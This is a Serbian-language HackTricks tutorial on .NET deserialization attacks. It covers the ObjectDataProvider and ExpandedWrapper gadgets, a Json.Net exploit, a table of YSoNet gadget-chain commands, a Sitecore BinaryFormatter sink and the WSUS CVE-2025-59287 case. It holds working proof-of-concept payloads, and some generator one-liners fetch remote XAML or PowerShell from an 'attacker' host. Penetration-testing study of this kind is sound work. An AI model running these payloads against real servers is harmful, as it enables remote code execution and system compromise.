Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovaj tekst je posvećen razumevanju kako se gadget ObjectDataProvider iskorišćava za dobijanje RCE i kako se biblioteke za serijalizaciju Json.Net i xmlSerializer mogu zloupotrebiti uz taj gadget.

ObjectDataProvider Gadget

Prema dokumentaciji: ObjectDataProvider klasa obavija i kreira objekat koji možete koristiti kao binding source.
Da, objašnjenje je čudno, pa hajde da vidimo šta ta klasa ima toliko zanimljivo: ova klasa omogućava da se omota proizvoljan objekat, koristi MethodParameters da postavite proizvoljne parametre, i zatim koristi MethodName da pozove proizvoljnu funkciju proizvoljnog objekta deklarisanog koristeći te parametre.
Dakle, proizvoljni objekat će izvršiti funkciju sa parametrima tokom deserializacije.

Kako je to moguće

The System.Windows.Data namespace, found within the PresentationFramework.dll at C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je mesto gde je ObjectDataProvider definisan i implementiran.

Koristeći dnSpy možete inspect the code of the class we are interested in. Na slici ispod vidimo kod PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

Kao što se može primetiti, kada se postavi MethodName poziva se base.Refresh(), pogledajmo šta to radi:

Ok, nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je overridden by ObjectDataProvider i ovo je ono što radi:

Obratite pažnju da na kraju koda poziva this.QueryWorke(null). Pogledajmo šta to izvršava:

Napomena: ovo nije kompletan kod funkcije QueryWorker ali prikazuje njen interesantan deo: kod poziva this.InvokeMethodOnInstance(out ex); — ovo je linija gde se setovana metoda poziva.

Ako želite da proverite da samo postavljanje MethodName** će biti izvršeno**, možete pokrenuti ovaj kod:

C# demo: ObjectDataProvider pokreće Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Imajte na umu da morate dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako biste učitali `System.Windows.Data`

## ExpandedWrapper

Koristeći prethodni exploit biće slučajeva u kojima će **object** biti **deserialized as** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserializovan koristeći `GetType`). U tom slučaju, neće postojati **znanje o tipu objekta koji je umotan** u instanci _ObjectDataProvider_ (na primer `Process`). Možete pronaći više [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

Ova klasa omogućava da **odredite tipove objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i obezbediti svojstva koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao što je prethodno prikazano, jer ćemo moći da **umotamo \_ObjectDataProvider**_** u **_**ExpandedWrapper** \_ instancu i **pri deserializaciji** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.

Možete proveriti ovaj wrapper sa sledećim kodom:

<details>
<summary>C# demo: ExpandedWrapper enkapsulira ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na zvaničnoj veb stranici se navodi da ova biblioteka omogućava da se serijalizuje i deserijalizuje bilo koji .NET objekat pomoću snažnog Json.NET JSON serializer-a. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gadget, mogli bismo prouzrokovati RCE samo deserijalizacijom objekta.

Json.Net primer

Prvo, hajde da pogledamo primer kako da serijalizujemo/deserijalizujemo objekat koristeći ovu biblioteku:

C# demo: Json.NET serialize/deserialize ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Zloupotreba Json.Net

Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) kreirao sam exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

U ovom kodu možete testirati exploit, samo ga pokrenite i videćete da se pokreće calc:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## Napredni .NET gadget lanci (YSoNet & ysoserial.net)

Tehnika ObjectDataProvider + ExpandedWrapper predstavljena gore je samo jedan od MNOGIH gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvodi **unsafe .NET deserialization**. Moderni red-team alati kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu malicioznih object graph-ova** za desetine gadgeta i formata serijalizacije.

Ispod je kondenzovana referenca najkorisnijih lanaca koji dolaze sa *YSoNet* zajedno sa kratkim objašnjenjem kako rade i primer komandnih linija za generisanje payload-a.

| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Korumpira zapis `DelegateSerializationHolder` tako da, kada se materijalizuje, delegate pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *zaobiđe .NET ≥4.8 type-filtering* i direktno pozove **konstruktor** date klase ili **kompajlira** C# fajl "u letu" | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Iskorišćava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavajući `<ColumnMapping>` / `<DataType>` polja (opciono lažirajući assembly sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Na WPF-om omogućenim runtime-ovima (> .NET 5) lančano poziva gettere svojstava dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL koji je dostavljen sa `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Koristi WPF `System.Windows.Data.ObjectDataProvider` za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje zgodnu `--xamlurl` varijantu za hostovanje malicioznog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Ugrađuje `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserializuje objekat | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> Svi payload-ovi se po defaultu **pišu na stdout**, što olakšava njihovo prosleđivanje drugim alatima (npr. ViewState generatorima, base64 encoderima, HTTP klijentima).

### Izgradnja / instalacija YSoNet

Ako nema pre-kompajliranih binarnih fajlova dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeći **PowerShell** jednolinijski će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u *Release* režimu:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Kompajlirani ysonet.exe može se pronaći u ysonet/bin/Release/.

Praktični sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:

  • Sink API: Sitecore.Convert.Base64ToObject(string) obavija new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, koji traži susedni element sa id="{iframeId}_inner" i čita atribut value koji se tretira kao base64‐enkodirani serijalizovani podatak. Rezultat se konvertuje u string i umetne u HTML.
HTTP tok okidanja za autentifikovani Sitecore sink ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: bilo koji BinaryFormatter chain koji vraća string (sporedni efekti se izvršavaju tokom deserializacije). Vidi YSoNet/ysoserial.net za generisanje payloads.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## Studija slučaja: WSUS unsafe .NET deserialization (CVE-2025-59287)

- Proizvod/uloga: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Površina napada: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Osnovni uzrok: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Uticaj: Namerno kreiran serijalizovani objekat pokreće gadget chain tokom deserializacije, što dovodi do izvršavanja proizvoljnog koda kao `NT AUTHORITY\SYSTEM` pod okruženjem WSUS servisa (`wsusservice.exe`) ili IIS app pool-a `wsuspool` (`w3wp.exe`).

Praktične napomene za eksploataciju
- Otkrivanje: Skenirajte za WSUS na TCP 8530/8531. Svaki pre-auth serijalizovani blob koji dođe do WSUS web metoda tretirajte kao potencijalni cilj za `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Koristite YSoNet/ysoserial.net za generisanje `BinaryFormatter` ili `SoapFormatter` lanaca (npr., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Očekivani sled procesa pri uspehu:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>